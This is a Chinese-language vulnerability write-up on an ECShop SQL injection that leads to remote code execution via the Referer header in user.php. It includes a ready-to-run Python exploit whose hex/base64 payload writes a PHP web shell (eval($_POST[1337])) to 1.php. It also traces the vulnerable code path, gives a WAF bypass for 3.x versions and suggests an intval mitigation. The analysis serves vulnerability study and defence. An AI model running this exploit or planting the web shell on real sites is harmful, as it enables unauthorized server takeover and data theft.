ecshop是一款B2C独立网店系统，适合企业及个人快速构建个性化网上商店。系统是基于PHP语言及MYSQL数据库构架开发的跨平台开源程序。最新版本为3.6.0。而最近ecshop爆出存在SQL注入漏洞,且能影响至所有系列。本文就对该SQL注入漏洞的成因做简单的分析

漏洞原理
本次漏洞主要是由于user.php文件login响应存在漏洞,其内部的display的参数可被攻击者控制,从而导致SQL注入漏洞,利用该漏洞可实现远程任意命令执行。

漏洞利用
import requests
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0",
"Accept-Charset": "GBK,utf-8;q=0.7,;q=0.3",
"Content-Type": "text/xml",
"Referer": "554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:\"num\";s:280:\"/ union select 1,0x272f2a,3,4,5,6,7,8,0x7b24617364275d3b617373657274286261736536345f6465636f646528275a6d6c735a56397764585266593239756447567564484d6f4a7a4575634768774a79776e50443977614841675a585a686243676b58314250553152624d544d7a4e3130704f79412f506963702729293b2f2f7d787878,10-- -\";s:2:\"id\";s:3:\"\'/*\";}554fcae493e564ee0dc75bdf2ebf94ca"
}

url = "http://192.168.5.130:8080/user.php"
payload = {'action':'login'}
requests.post(url,data=payload,headers=headers)
漏洞分析
login响应,将http_referer的值赋予$back_act,referer参数可被攻击者控制

assign函数将$back_act变量值赋给back_act
smarty是模板引擎，将back_act的值赋给模板文件user_passport.dwt
display读取user_passport.dwt文件内容，过滤后输出结果

display函数经 fetch -> make_compiled -> file_get_contents -> fetch_str ->smarty_prefilter_preCompile ->select 取出html中值$out,其中包含referer的内容
$out通过_echash变量切割，而_echash是代码里写死的

此时referer的payload被切割成$val

$val="ads|a:2:{s:3:"num";s:280:"/ union select 1,0x272f2a,3,4,5,6,7,8,0x7b24617364275d3b617373657274286261736536345f6465636f646528275a6d6c735a56397764585266593239756447567564484d6f4a7a4575634768774a79776e50443977614841675a585a686243676b58314250553152624d544d7a4e3130704f79412f506963702729293b2f2f7d787878,10-- -";s:2:"id";s:3:"'/";}"
insert_mod函数处理动态内容$val

以|划分$val

$fun=ads;
$para="a:2:{s:3:"num";s:280:"/ union select 1,0x272f2a,3,4,5,6,7,8,0x7b24617364275d3b617373657274286261736536345f6465636f646528275a6d6c735a56397764585266593239756447567564484d6f4a7a4575634768774a79776e50443977614841675a585a686243676b58314250553152624d544d7a4e3130704f79412f506963702729293b2f2f7d787878,10-- -";s:2:"id";s:3:"'/";}"

$para经unserialize反序列化得

$para=array('num' => "/ union select 1,0x272f2a,3,4,5,6,7,8,0x7b24617364275d3b617373657274286261736536345f6465636f646528275a6d6c735a56397764585266593239756447567564484d6f4a7a4575634768774a79776e50443977614841675a585a686243676b58314250553152624d544d7a4e3130704f79412f506963702729293b2f2f7d787878,10-- -",'id'=>"'/";)
$fun='insert_'.$fun = 'insert_ads'

$fun($para)动态调用insert_ads函数,即insert_ads($para)
insert_ads存在SQL注入漏洞,继续跟踪insert_ads,该函数直接将id,num的值拼接到SQL中导致注入漏洞
其中id=”‘/“ 拼接a.posttion_id的单引号,/与num配合注释掉order by

num="/ union select 1,0x272f2a,3,4,5,6,7,8,0x7b24617364275d3b617373657274286261736536345f6465636f646528275a6d6c735a56397764585266593239756447567564484d6f4a7a4575634768774a79776e50443977614841675a585a686243676b58314250553152624d544d7a4e3130704f79412f506963702729293b2f2f7d787878,10-- -",'id'=>"'/"
num中的/与id/配合注释order by ,union联合查询在数据库中解析得

position_id = 0x272f2a = "'/*"
position_style = 0x7b24617364275d3b617373657274286261736536345f6465636f646528275a6d6c735a56397764585266593239756447567564484d6f4a7a4575634768774a79776e50443977614841675a585a686243676b58314250553152624d544d7a4e3130704f79412f506963702729293b2f2f7d787878
= {$asd'];assert(base64_decode('ZmlsZV9wdXRfY29udGVudHMoJzEucGhwJywnPD9waHAgZXZhbCgkX1BPU1RbMTMzN10pOyA/Picp'));//}xxx

position_style经拼接重新到fetch

fetch -> fetch_str 将匹配到的字符传输至select函数处理
此时

position_style = "$asd'];assert(base64_decode('ZmlsZV9wdXRfY29udGVudHMoJzEucGhwJywnPD9waHAgZXZhbCgkX1BPU1RbMTMzN10pOyA/Picp'));//"

跟踪position_style至select函数

select -> get_val –> make_var

最终匹配得

$p=this->_val['asd'];assert(base64_decode('ZmlsZV9wdXRfY29udGVudHMoJzEucGhwJywnPD9waHAgZXZhbCgkX1BPU1RbMTMzN10pOyA/Picp'));//']

此时select中得

<?php echo _val['asd'];assert(base64_decode('ZmlsZV9wdXRfY29udGVudHMoJzEucGhwJywnPD9waHAgZXZhbCgkX1BPU1RbMTMzN10pOyA/Picp'));//'];?>

并返回至fetch_str,供_eval调用,造成任意命令执行,本命令是通过base64解码写一句话木马

针对3.x版本,ecshop添加了waf,过滤了union select,可以将这两个词放在id,num的值里绕过waf,同时修改_echash的值

漏洞演示
在虚拟机里安装ecshop2.7.3版本
执行以上脚本,即可写入一句话木马<?php eval($_POST[1337]); ?> 至1.php
通过菜刀连接,拿到web服务器权限

漏洞利用总结
referer值未加判断直接引用,可被攻击者控制输入

利用_echash = “554fcae493e564ee0dc75bdf2ebf94ca” 为定值进行切分，构造payload

利用反序列化漏洞,构造payload，传输恶意代码

insert_ads函数的SQL拼接不规范导致存在SQL注入

make_val函数拼接字符串输入，_eval中调用用户输入通过eval最终导致任意命令执行

临时性方案
由于ecshop官方还未进行修复,可通过对insert_ads的num;id参数进行intval处理

参考链接
https://xz.aliyun.com/t/2689
https://blog.csdn.net/u012078682/article/details/37737015
http://ringk3y.com/2018/08/31/ecshop2-x%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C/

[招生]科锐逆向工程师培训(2024年11月15日实地，远程教学同时开班, 第51期)